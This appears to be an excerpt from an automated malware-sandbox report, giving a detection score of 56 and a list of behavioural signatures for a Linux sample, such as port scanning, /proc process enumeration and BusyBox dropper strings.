Detection

Score: 56
Range: 0 - 100
Whitelisted: false

Signatures

Multi AV Scanner detection for submitted file
Connects to many ports of the same IP (likely port scanning)
Sends malformed DNS queries
Detected TCP or UDP traffic on non-standard ports
Enumerates processes within the "proc" file system
Found strings indicative of a multi-platform dropper
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Sample listens on a socket
Uses the "uname" system call to query kernel version information (possible evasion)
